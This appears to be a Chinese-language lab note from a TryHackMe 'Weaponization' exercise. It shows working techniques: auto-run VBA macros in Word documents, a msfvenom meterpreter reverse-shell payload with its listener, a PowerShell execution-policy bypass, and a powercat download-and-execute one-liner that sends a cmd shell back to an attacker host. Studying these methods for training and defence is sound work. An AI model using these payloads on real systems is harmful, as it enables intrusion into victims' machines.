前两个是 VBScript 代码 和 HTA代码

前者是可以在本地上运行,后者是可以弹shell也可以在本地运行

应用程序的 Visual Basic (VBA)

这是 Microsoft 为 Microsoft Word、Excel、PowerPoint 等 Microsoft 应用程序实施的一种编程语言

VBA 编程允许自动执行用户与 Microsoft Office 应用程序之间几乎所有键盘和鼠标交互的任务。

这句话是重点

宏是 Microsoft Office 应用程序,其中包含以称为 Visual Basic for Applications (VBA) 的编程语言编写的嵌入式代码。它用于创建自定义功能,以通过创建自动化流程来加速手动任务

我们将讨论 VBA 的基础知识以及对手使用宏创建恶意 Microsoft 文档的方式

现在创建一个新的空白 Microsoft 文档来创建我们的第一个 宏。目的是讨论该语言的基础知识,并展示如何在打开 Microsoft Word 文档时运行它。首先,我们需要通过选择 视图→ 宏来打开 Visual Basic 编辑器。宏窗口显示在文档中创建我们自己的宏

image-20230508231520977

image-20230508231606126

点击创建后的样子

然后进行内容创建

1
2
3
Sub THM()
MsgBox ("Welcome to Weaponization Room!")
End Sub

然后点击运行image-20230508231803055

现在,为了在文档打开后自动执行 VBA 代码,我们可以使用内置函数,例如 AutoOpen 和 Document_open。请注意,我们需要指定文档打开后需要运行的函数名称,在我们的例子中是 THM 函数。

1
2
3
4
5
6
7
8
9
10
11
Sub Document_Open()
THM
End Sub

Sub AutoOpen()
THM
End Sub

Sub THM()
MsgBox ("Welcome to Weaponization Room!")
End Sub

重要的是要注意,要使宏起作用,我们需要将其保存为启用宏的格式,例如.doc 和 docm。现在让我们将文件保存为Word 97-2003 模板,通过转到文件→保存 Document1并保存为类型 → Word 97-2003 文档启用 宏,最后保存.

image-20230508232155649

运行文档后就会自动执行

image-20230508232335996

现在编辑 word 文档并创建一个执行calc.exe 或任何可执行文件的宏函数作为概念证明,如下所示

1
2
3
4
5
Sub PoC()
Dim payload As String
payload = "calc.exe"
CreateObject("Wscript.Shell").Run payload,0
End Sub

和前面保存的步骤一样,然后点击运行就弹出计算器了

得一提的是,我们可以将 VBA 与之前介绍的方法(例如 HTA 和 WSH)结合使用。VBA/宏本身并不能绕过任何检测

接下来是利用VBA进行shell的反弹

1
2
3
4
5
6
user@AttackBox$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.50.159.15 LPORT=443 -f vba
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 341 bytes
Final size of vba file: 2698 bytes

导入以注意需要进行一项修改才能使此工作正常进行。输出将在 MS Excel 工作表上工作。因此,将 Workbook_Open()更改为 Document_Open()以使其适用于 MS word 文档。

然后把生成的代码写到word的宏编辑器里边

然后设置监听器

1
2
3
4
5
6
7
8
9
10
11
12
user@AttackBox$ msfconsole -q
msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.50.159.15
LHOST => 10.50.159.15
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.50.159.15:443

一旦在受害者机器上打开恶意 word 文档,我们应该会收到一个反向 shell。

PowerShell-PSH

Powershell 是使用 .NET 框架构建的 Windows 脚本语言和 shell 环境

这也允许 Powershell 直接从其 shell 执行 .NET 函数。大多数 Powershell 命令(称为cmdlet)是用 .NET 编写的。与其他脚本语言和 shell 环境不同,这些cmdlet的输出 是对象——使 Powershell 有点面向对象。这也意味着运行 cmdlet 允许您对输出对象执行操作(这样可以方便地将输出从一个cmdlet传递 到另一个)。cmdlet的正常格式使用Verb-Noun表示;例如,用于列出命令的cmdlet 被称为Get-Command.

1
Write-Output "Welcome to the Weaponization Room!"

将文件另存为 thm.ps1 。 使用 Write-Output ,我们打印消息“Welcome to the Weaponization Room!” 到命令提示符。 现在让我们运行它并查看结果

image-20230514205635490

PowerShell 的执行策略是一个 安全选项,用于保护系统免于运行恶意脚本。默认情况下,Microsoft出于安全目的禁止执行PowerShell脚本.ps1 。PowerShell执行策略设置为Restricted ,这意味着它允许单独的命令但不允许运行任何脚本

bypass绕过

1
2
C:\Users\thm\Desktop>powershell -ex bypass -File thm.ps1
Welcome to Weaponization Room!

现在,让我们尝试使用一种用PowerShell编写的工具powercat来获取反向 shell 。在你的 AttackBox 上,从 GitHub 下载它并运行一个网络服务器来传送有效载荷。

1
git clone https://github.com/besimorhino/powercat.git

现在,我们需要在该 AttackBox 上设置一个 Web 服务器来为将在目标机器上下载和执行的powercat.ps1提供服务。接下来,将目录更改为 powercat 并开始侦听您选择的端口。在我们的例子中,我们将使用端口 8080 。

1
2
3
user@machine$ cd powercat
user@machine$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

在 AttackBox 上,我们需要使用nc监听端口1337以接收来自受害者的连接。

1
user@machine$ nc -lvp 1337

现在,我们从受害机器上下载有效载荷并使用PowerShell有效载荷执行它,如下所示,

1
C:\Users\thm\Desktop> powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACKBOX_IP:8080/powercat.ps1');powercat -c ATTACKBOX_IP -p 1337 -e cmd"

现在我们已经执行了上面的命令,受害者机器从我们的网络服务器(在 AttackBox 上)下载 powercat.ps1有效载荷,然后使用cmd.exe 在目标本地执行它,并将连接发送回正在侦听的 AttackBox在端口1337上。几秒钟后,我们应该收到连接回调:

image-20230514211059473

HTA VBA powershell 这三种方式可以进行shell的反弹 在windows系统里

前两个使用mvf进行生成payload 后面一个是依靠github上面的一个文件